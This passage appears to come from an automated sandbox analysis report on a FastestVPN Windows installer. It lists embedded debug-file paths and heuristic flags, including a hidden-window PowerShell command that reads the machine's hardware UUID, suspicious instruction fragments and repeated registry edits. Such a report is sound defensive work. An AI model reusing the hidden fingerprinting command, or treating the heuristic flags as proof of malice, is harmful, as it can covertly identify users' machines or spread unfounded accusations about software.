    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Local\obj\Release\FastestVPN.Data.Local.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743066028.0000000005482000.00000002.00000001.01000000.00000017.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2741166241.0000000004F22000.00000002.00000001.01000000.0000000F.sdmp, is-FQ58N.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000000.1955119983.0000000000552000.00000002.00000001.01000000.00000026.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr
    Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceProcess.pdbSH;k source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbA source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdbSHA256HXhZm source: FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmp
    Source: Binary string: Microsoft.Owin.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2728641725.00000000040C2000.00000002.00000001.01000000.00000035.sdmp
    Source: Binary string: /home/runner/work/Flurl/Flurl/src/Flurl/obj/Release/net472/Flurl.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: /home/runner/work/Flurl/Flurl/src/Flurl/obj/Release/net472/Flurl.pdbSHA256!VN source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: mscorlib.pdb source: FastestVPN.exe, 00000018.00000002.2743669324.000000000568D000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.RAS\obj\Debug\VPN.RAS.pdb source: mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733093014.00000000042D2000.00000002.00000001.01000000.00000041.sdmp, is-E39BQ.tmp.2.dr
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: q!Microsoft.AspNet.SignalR.Core.pdb`, source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2741166241.0000000004F22000.00000002.00000001.01000000.0000000F.sdmp, is-FQ58N.tmp.2.dr
    Source: Binary string: symbols\dll\mscorlib.pdbLb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2747533221.00000000059C2000.00000002.00000001.01000000.0000001A.sdmp
    Source: Binary string: H:\Projects\NetFilter SDK\iphelperclose\Release\iphelperclose.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.ViewModel\obj\Release\FastestVPN.ViewModel.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmp
    Source: Binary string: mscorlib.pdb246122658-3693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\Elevation.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64ProgramData=C:\ProgramDataPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\Windows source: FastestVPN.exe, 00000018.00000002.2743669324.00000000056DC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdbSHA256-( source: FastestVPN.WindowsService.exe, 00000032.00000002.2729054082.00000000040F2000.00000002.00000001.01000000.00000037.sdmp, is-EDC5Q.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Security.pdbSHA256U source: FastestVPN.WindowsService.exe, 00000032.00000002.2730435506.00000000041C2000.00000002.00000001.01000000.0000003B.sdmp
    Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdbVepe be_CorDllMainmscoree.dll source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2742939805.0000000005472000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: HPpnTC:\Windows\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: Windows\dll\mscorlib.pdbCp source: FastestVPN.exe, 00000018.00000002.2754636491.000000000AC08000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: d:\Bjornar\SVN\istool\isxdl\trunk\source\Release\isxdl.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731998895.0000000004292000.00000002.00000001.01000000.00000040.sdmp
    Source: Binary string: BouncyCastle.Crypto.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2741953214.00000000053B2000.00000002.00000001.01000000.00000011.sdmp
    Source: Binary string: q^/_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: guration.Install.pdbEz: source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Diagnostics.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731000369.0000000004242000.00000002.00000001.01000000.0000003A.sdmp
    Source: Binary string: System.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2742178071.00000000053D2000.00000002.00000001.01000000.00000010.sdmp
    Source: Binary string: System.Configuration.Install.pdbxF source: FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb2;L; >;_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2733382817.00000000042E2000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdbPa source: subinacl.exe, 0000002E.00000002.2078433919.0000000001001000.00000020.00000001.01000000.00000032.sdmp, subinacl.exe, 0000002E.00000000.2064908771.0000000001001000.00000020.00000001.01000000.00000032.sdmp, is-L468K.tmp.2.dr
    Source: Binary string: C:\Windows\Microsoft.NET\Framework\v4.0.30319\spNet.SignalR.Core.pdb561934e089\System.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748000821.0000000005A42000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742058301.00000000053C2000.00000002.00000001.01000000.00000012.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Diagnostics\obj\Release\FastestVPN.Diagnostics.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742444497.00000000053F2000.00000002.00000001.01000000.00000015.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb source: nfregdrv.exe, 0000001F.00000002.1933399084.0000000010019000.00000002.00000001.01000000.0000001D.sdmp, nfregdrv.exe, 00000023.00000002.1941136972.0000000010019000.00000002.00000001.01000000.0000001D.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2741953214.00000000053B2000.00000002.00000001.01000000.00000011.sdmp
    Source: Binary string: c:\Users\lodejard\Projects\owin-hosting\src\main\Owin.Startup\obj\Release\Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2727562303.0000000003D92000.00000002.00000001.01000000.00000036.sdmp
    Source: Binary string: Microsoft.Owin.Hosting.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2727873554.0000000004072000.00000002.00000001.01000000.00000034.sdmp, is-SIFEE.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2740196159.0000000004AB2000.00000002.00000001.01000000.0000000E.sdmp, is-10HRM.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748109295.0000000005A52000.00000002.00000001.01000000.0000002C.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742178071.00000000053D2000.00000002.00000001.01000000.00000010.sdmp
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdb/" source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb@:^: P:_CorDllMainmscoree.dll source: FastestVPN.exe, 00000018.00000002.2740327424.0000000004AC2000.00000002.00000001.01000000.0000000C.sdmp, is-KH3QE.tmp.2.dr
    Source: Binary string: \??\C:\Windows\dll\System.ServiceProcess.pdb2 source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmp
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2733933202.0000000004332000.00000002.00000001.01000000.0000003C.sdmp, is-2MRML.tmp.2.dr
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2747533221.00000000059C2000.00000002.00000001.01000000.0000001A.sdmp
    Source: Binary string: ls\dll\System.ServiceProcess.pdb\HU source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2727255873.0000000003D72000.00000002.00000001.01000000.00000033.sdmp, is-R1MP1.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742939805.0000000005472000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2760532292.000000000B3F2000.00000002.00000001.01000000.0000002D.sdmp
    Source: Binary string: Microsoft.Owin.Security.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2730435506.00000000041C2000.00000002.00000001.01000000.0000003B.sdmp
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733933202.0000000004332000.00000002.00000001.01000000.0000003C.sdmp, is-2MRML.tmp.2.dr
    Source: Binary string: ?|nC:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.AdvancedNetwork\obj\Debug\VPN.AdvancedNetwork.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731558279.0000000004272000.00000002.00000001.01000000.0000003E.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN\obj\Release\FastestVPN.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000002AD000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: ?|nC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.pdbit source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: System.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: tem.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: devcon.pdb source: is-QC9L9.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2729054082.00000000040F2000.00000002.00000001.01000000.00000037.sdmp, is-EDC5Q.tmp.2.dr
    Source: Binary string: %%.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdbb^|^ n^_CorDllMainmscoree.dll source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdbY6s6 e6_CorDllMainmscoree.dll source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2740196159.0000000004AB2000.00000002.00000001.01000000.0000000E.sdmp, is-10HRM.tmp.2.dr
    Source: Binary string: \??\C:\Windows\System.Configuration.Install.pdb] source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 0000000D.00000003.1839806446.00000232ECF52000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 0000000D.00000003.1839449297.00000232ECF51000.00000004.00000020.00020000.00000000.sdmp, is-A65FP.tmp.2.dr
    Source: Binary string: C:\Windows\FastestVPN.WindowsService.pdbpdbice.pdbdul source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256Ci\ source: FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmp, FastestVPN.exe, 00000018.00000002.2743669324.000000000568D000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2728641725.00000000040C2000.00000002.00000001.01000000.00000035.sdmp
    Source: Binary string: BouncyCastle.Crypto.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmp
    Source: Binary string: symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: mscorlib.pdbsZ source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\dll\System.Configuration.Install.pdbg" source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: @|n.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp

    Data Obfuscation

    barindex
    Suspicious powershell command line found
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUIDJump to behavior
    Source: is-R1MP1.tmp.2.drStatic PE information: 0xAB462008 [Fri Jan 21 02:20:56 2061 UTC]
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D6C90 SetupOpenInfFileW,GetLastError,SetupFindFirstLineW,SetupGetStringFieldW,SetupFindFirstLineW,SetupGetStringFieldW,CLSIDFromString,SetupDiGetClassDescriptionExW,LoadLibraryW,GetProcAddress,GetLastError,GetLastError,SetupFindFirstLineW,SetupGetStringFieldW,SetupGetStringFieldW,SetupCloseInfFile,FreeLibrary,10_2_00007FF76A6D6C90
    Source: mnFHs2DuKg.exeStatic PE information: section name: .didata
    Source: mnFHs2DuKg.tmp.1.drStatic PE information: section name: .didata
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71C52C push rsp; retn 0004h10_2_00007FF76A71C52D
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A71C576 push rsi; ret 10_2_00007FF76A71C579
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC208C push es; ret 24_2_04AC2570
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC25AD push es; ret 24_2_04AC283C
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC20C0 push es; ret 24_2_04AC2570
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04AC2063 push es; ret 24_2_04AC2570
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04F2437F push es; retf 24_2_04F2445C
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_04F2435D push es; retf 24_2_04F2437E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053DAD3F push cs; ret 24_2_053DADBC
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053DAF10 push cs; retf 24_2_053DAF1A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053DAF04 push cs; retf 24_2_053DAF0E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053DAEF2 push cs; retf 24_2_053DAEF6
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053D79DF push es; retf 24_2_053D7A7E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053D82C7 push ss; ret 24_2_053D82CA
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_053DADC0 push cs; ret 24_2_053DAE10
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_05422FE2 push es; ret 24_2_05423585
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_05423564 push es; ret 24_2_05423585
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_05A55883 push cs; ret 24_2_05A558CC
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6F5A5F push 00000028h; retf 0000h24_2_0B6F5A62
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BA156FA push ss; iretd 24_2_0BA15702
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BA17F11 push cs; ret 24_2_0BA17F12
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241F46D push esp; retf 24_2_0241F491
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241B4F5 pushfd ; iretd 24_2_0241B4F9
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241B572 push F000005Fh; iretd 24_2_0241B5A9
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241B5B0 push F000005Fh; iretd 24_2_0241B5A9
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0241B5B0 push D000005Fh; iretd 24_2_0241B5C9
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_059D0148 push esp; iretd 24_2_059D01F1
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B48C8C0 push eax; ret 24_2_0B48CA1D
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0B6E0FC0 pushad ; iretd 24_2_0B6E0FC9
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BC473D1 push 300C478Bh; retf 24_2_0BC473DD
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_0BC449CB push dword ptr [esi+ecx-75h]; iretd 24_2_0BC449D0
    Source: is-LKQ8H.tmp.2.drStatic PE information: section name: .text entropy: 7.662424467871785

    Persistence and Installation Behavior

    barindex
    Uses cmd line tools excessively to alter registry or file data
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
